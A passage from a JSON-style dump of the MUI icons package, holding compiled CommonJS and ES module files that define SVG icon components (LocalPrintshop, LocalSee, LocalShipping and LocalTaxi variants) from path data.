\"1\")], 'LocalPrintshopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8h-1V3H6v5H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3M8 5h8v3H8zm8 14H8v-4h8zm2-4v-2H6v2H4v-4c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"11.5\",\n  r: \"1\"\n}, \"1\")], 'LocalPrintshopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3zm1 1H5c-1.66 0-3 1.34-3 3v5c0 .55.45 1 1 1h3v2c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-2h3c.55 0 1-.45 1-1v-5c0-1.66-1.34-3-3-3m-3 11H8v-4h8zm2-6.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalPrintshopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3zm1 1H5c-1.66 0-3 1.34-3 3v5c0 .55.45 1 1 1h3v2c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-2h3c.55 0 1-.45 1-1v-5c0-1.66-1.34-3-3-3m-3 11H8v-4h8zm2-6.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalPrintshopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 8v9h4v4h12v-4h4V8zm14 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'LocalPrintshopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 8v9h4v4h12v-4h4V8zm14 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'LocalPrintshopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 5h8v3H8zm11 5H5c-.55 0-1 .45-1 1v4h2v-2h12v2h2v-4c0-.55-.45-1-1-1m-1 2.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8h-1V3H6v5H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3M8 5h8v3H8zm8 14H8v-4h8zm4-4h-2v-2H6v2H4v-4c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"11.5\",\n  r: \"1\"\n}, \"2\")], 'LocalPrintshopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 5h8v3H8zm11 5H5c-.55 0-1 .45-1 1v4h2v-2h12v2h2v-4c0-.55-.45-1-1-1m-1 2.5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8h-1V3H6v5H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3M8 5h8v3H8zm8 14H8v-4h8zm4-4h-2v-2H6v2H4v-4c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"11.5\",\n  r: \"1\"\n}, \"2\")], 'LocalPrintshopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSee.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LocalSee');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSee.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LocalSee');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l.59-.65L9.88 4h4.24l1.24 1.35.59.65H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.2c-1.77 0-3.2-1.43-3.2-3.2s1.43-3.2 3.2-3.2 3.2 1.43 3.2 3.2-1.43 3.2-3.2 3.2\"\n}), 'LocalSeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l.59-.65L9.88 4h4.24l1.24 1.35.59.65H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.2c-1.77 0-3.2-1.43-3.2-3.2s1.43-3.2 3.2-3.2 3.2 1.43 3.2 3.2-1.43 3.2-3.2 3.2\"\n}), 'LocalSeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 14c0 1.38 1.12 2.5 2.5 2.5 1.23 0 2.25-.9 2.46-2.07-1-1.01-1.83-1.98-2.48-2.93-1.37.02-2.48 1.13-2.48 2.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.65 17.08c-.37.32-.92.32-1.3 0-1.26-1.08-.7-.61-1.3-1.14-.83 1.74-2.73 2.87-4.85 2.5-1.83-.32-3.31-1.8-3.63-3.63-.42-2.44 1.13-4.58 3.31-5.14C10.3 8.45 10 7.28 10 6.15c0-.75.1-1.47.28-2.15h-.4c-.56 0-1.1.24-1.48.65L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-6.03c-1.41 1.49-2.65 2.51-3.35 3.11\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 14.42c.37.33.95.33 1.33 0C22.22 11.25 24 8.5 24 6.15 24 2.42 21.15 0 18 0s-6 2.42-6 6.15c0 2.35 1.78 5.1 5.34 8.27m-.07-9.17L18 3l.73 2.25H21l-1.85 1.47.7 2.28L18 7.59 16.15 9l.7-2.28L15 5.25z\"\n}, \"2\")], 'LocalSeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 14c0 1.38 1.12 2.5 2.5 2.5 1.23 0 2.25-.9 2.46-2.07-1-1.01-1.83-1.98-2.48-2.93-1.37.02-2.48 1.13-2.48 2.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.65 17.08c-.37.32-.92.32-1.3 0-1.26-1.08-.7-.61-1.3-1.14-.83 1.74-2.73 2.87-4.85 2.5-1.83-.32-3.31-1.8-3.63-3.63-.42-2.44 1.13-4.58 3.31-5.14C10.3 8.45 10 7.28 10 6.15c0-.75.1-1.47.28-2.15h-.4c-.56 0-1.1.24-1.48.65L7.17 6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-6.03c-1.41 1.49-2.65 2.51-3.35 3.11\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 14.42c.37.33.95.33 1.33 0C22.22 11.25 24 8.5 24 6.15 24 2.42 21.15 0 18 0s-6 2.42-6 6.15c0 2.35 1.78 5.1 5.34 8.27m-.07-9.17L18 3l.73 2.25H21l-1.85 1.47.7 2.28L18 7.59 16.15 9l.7-2.28L15 5.25z\"\n}, \"2\")], 'LocalSeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4h-5.17L15 2H9L7.17 4H2v16h20zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LocalSeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4h-5.17L15 2H9L7.17 4H2v16h20zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'LocalSeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4.05l-.59-.65L14.12 4H9.88L8.65 5.35l-.6.65H4v12h16zm-8 11c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h4.05l.59-.65L9.88 4h4.24l1.24 1.35.59.65H20v12H4zm8 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.2c-1.77 0-3.2-1.43-3.2-3.2s1.43-3.2 3.2-3.2 3.2 1.43 3.2 3.2-1.43 3.2-3.2 3.2\"\n}, \"1\")], 'LocalSeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalSeeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4.05l-.59-.65L14.12 4H9.88L8.65 5.35l-.6.65H4v12h16zm-8 11c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2M4 6h4.05l.59-.65L9.88 4h4.24l1.24 1.35.59.65H20v12H4zm8 1c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.2c-1.77 0-3.2-1.43-3.2-3.2s1.43-3.2 3.2-3.2 3.2 1.43 3.2 3.2-1.43 3.2-3.2 3.2\"\n}, \"1\")], 'LocalSeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShipping.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM6 18.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m13.5-9 1.96 2.5H17V9.5zm-1.5 9c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'LocalShipping');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShipping.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM6 18.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m13.5-9 1.96 2.5H17V9.5zm-1.5 9c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'LocalShipping');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-.5 1.5 1.96 2.5H17V9.5zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.22-3c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3V6h12v9zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-.5 1.5 1.96 2.5H17V9.5zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.22-3c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3V6h12v9zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 8H17V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2 0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h1c.55 0 1-.45 1-1v-3.33c0-.43-.14-.85-.4-1.2L20.3 8.4c-.19-.25-.49-.4-.8-.4M6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13.5-8.5 1.96 2.5H17V9.5zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 8H17V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2 0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h1c.55 0 1-.45 1-1v-3.33c0-.43-.14-.85-.4-1.2L20.3 8.4c-.19-.25-.49-.4-.8-.4M6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13.5-8.5 1.96 2.5H17V9.5zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V4H1v13h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13.5-8.5 1.96 2.5H17V9.5zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V4H1v13h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m13.5-8.5 1.96 2.5H17V9.5zM18 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalShippingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H15V6H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5l-3-4zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m9-3H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3V6h12zm3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-6V9.5h2.5l1.96 2.5z\"\n}, \"1\")], 'LocalShippingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalShippingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H15V6H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8V4H3c-1.1 0-2 .9-2 2v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5l-3-4zM6 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m9-3H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3V6h12zm3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-6V9.5h2.5l1.96 2.5z\"\n}, \"1\")], 'LocalShippingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxi.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxi');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxi.mjs",
